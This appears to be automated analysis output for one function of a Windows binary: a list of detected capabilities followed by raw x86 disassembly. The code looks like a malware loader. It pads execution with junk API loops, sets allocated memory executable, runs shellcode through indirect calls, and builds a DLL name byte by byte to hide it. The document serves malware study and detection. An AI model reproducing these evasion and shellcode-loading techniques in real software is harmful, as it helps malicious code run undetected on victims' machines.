Function at 0x4a3010
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a6406
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x34f0
call fcn.0040eb90
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e2f9
jge 0x4a305e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b2176
jle 0x4a307d
cmp dword [esp + 0x18], 0xc0963c
je 0x4a307d
cmp dword [esp + 0xe4], 0x90536f8
jne 0x4a3086
inc esi
cmp esi, 0x98abe
jl 0x4a3050
cmp dword [0x23026cc], 0xcf8
jne 0x4a3190
push edi
push edi
push edi
call fcn.0040571e
add esp, 0xc
push 0x4036e4
push edi
call fcn.0040571e
push edi
push edi
push edi
push edi
call fcn.00405416
push edi
push edi
call fcn.00404c12
push edi
call fcn.004052db
add esp, 0x24
push edi
call fcn.00411b82
add esp, 4
mov dword [esp + 0x80], edi
mov dword [esp + 0x84], edi
mov dword [esp + 0x88], edi
mov dword [esp + 0x350c], edi
xor eax, eax
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], edi
mov byte [esp + 0x20], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4a3100
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x4a311a
push 0x4039f0
call fcn.004049ab
cmp esi, 0xf
jbe 0x4a312d
push edi
push esi
lea eax, [esp + 0x28]
push eax
call fcn.004047c0
jmp 0x4a313a
cmp esi, edi
jne 0x4a313c
mov dword [esp + 0x30], edi
mov byte [esp + 0x20], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x4a3177
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x34], ebx
jae 0x4a3156
lea eax, [esp + 0x20]
push esi
push edi
push eax
call fcn.0040b7a0
mov eax, dword [esp + 0x2c]
add esp, 0xc
mov dword [esp + 0x30], esi
cmp dword [esp + 0x34], ebx
jae 0x4a3173
lea eax, [esp + 0x20]
mov byte [eax + esi], 0
cmp dword [esp + 0x34], ebx
jb 0x4a318a
mov ecx, dword [esp + 0x20]
push ecx
call fcn.004057db
add esp, 4
push edi
call fcn.004056cc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
cmp esi, 0x408
jne 0x4a31b7
mov eax, 0x5d1
add dword [0x23026cc], eax
cmp dword [0x23026cc], 3
jne 0x4a31d6
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x104]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4a31a4
mov eax, dword [0x23026cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x4c585c], eax
mov eax, dword [0x23026cc]
xor esi, esi
test eax, eax
je 0x4a3262
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop
cmp eax, 0xfe
jne 0x4a3239
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x10c]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.004a2d90
mov eax, dword [0x23026cc]
cmp eax, 0x29
jne 0x4a325d
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x23026cc]
inc esi
cmp esi, eax
jb 0x4a3210
cmp eax, 0x70
jne 0x4a3308
push 0
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4036f0
push 0x403728
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call esi
call edi
call edi
push 0x4037d4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea edx, [esp + 0x908]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x504]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call esi
push 0x403810
push 0x403900
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x23026cc]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x4a335b
push 0
lea ecx, [esp + 0x7c]
push ecx
push 0
lea edx, [esp + 0x50c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [esp + 0x100]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x23026cc]
cmp eax, 0xdf
jne 0x4a360b
push 0x403938
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
lea eax, [esp + 0x7c]
push eax
push ecx
push ecx
lea edx, [esp + 0x250c]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor eax, eax
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0xdc]
push edx
push eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea eax, [esp + 0x94]
push eax
call edi
push 0
lea ecx, [esp + 0xa4]
push ecx
call ebp
push 0
lea edx, [esp + 0x54]
push edx
call ebx
push 0
push 0
push 0
push 0x40394c
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1504]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x98]
push edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x94]
push ecx
call ebx
push 0
lea edx, [esp + 0xa0]
push edx
call ebp
lea eax, [esp + 0x44]
push eax
call edi
lea ecx, [esp + 0x48]
push ecx
push 0
lea edx, [esp + 0x1d08]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x4c]
push eax
push 0x403980
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea edx, [esp + 0x54]
push edx
push 0
lea eax, [esp + 0x508]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
lea edx, [esp + 0x104]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea eax, [esp + 0x1104]
push eax
push 0x4039c0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x904]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x2d04]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0xac]
push 0
push ecx
mov dword [esp + 0xb0], 0
call fcn.00406ad0
add esp, 0xc
push 0
lea edx, [esp + 0xa8]
push edx
push 0x4039e4
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x23026cc]
dec dword [esp + 0x18]
jne 0x4a3328
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebp, 0x3a5e74
lea esp, [esp]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x4a3630
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x23026cc], 0x222
jne 0x4a3660
push 0
call esi
dec edi
jne 0x4a3650
mov ecx, dword [0x23026cc]
mov edx, dword [0x4c585c]
lea eax, [esp + 0x1c]
push eax
push 0x40
push ecx
push edx
mov byte [0x4c0ac8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a2fc0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x23026cc], 0xba
jne 0x4a36ab
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4a36b8
call fcn.004a2d70
inc esi
cmp esi, 0x1605a
jl 0x4a3692
mov ecx, 0x73
mov edx, 0x6d
mov word [0x22f870a], cx
mov word [0x22f870e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x22f8712], ax
mov word [0x22f871e], dx
mov word [0x22f8710], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x22f8708
mov dword [0x22f8718], 0x6c0064
mov word [0x22f870c], dx
mov word [0x22f8708], ax
mov word [0x22f871c], cx
mov dword [0x22f8714], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x23026cc], 0xc30
jne 0x4a37c6
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
lea ecx, [esp + 0x20]
push ecx
push 0
lea edx, [esp + 0x90c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0x1104]
push eax
lea ecx, [esp + 0x5c]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x58]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [esp + 0x3504]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret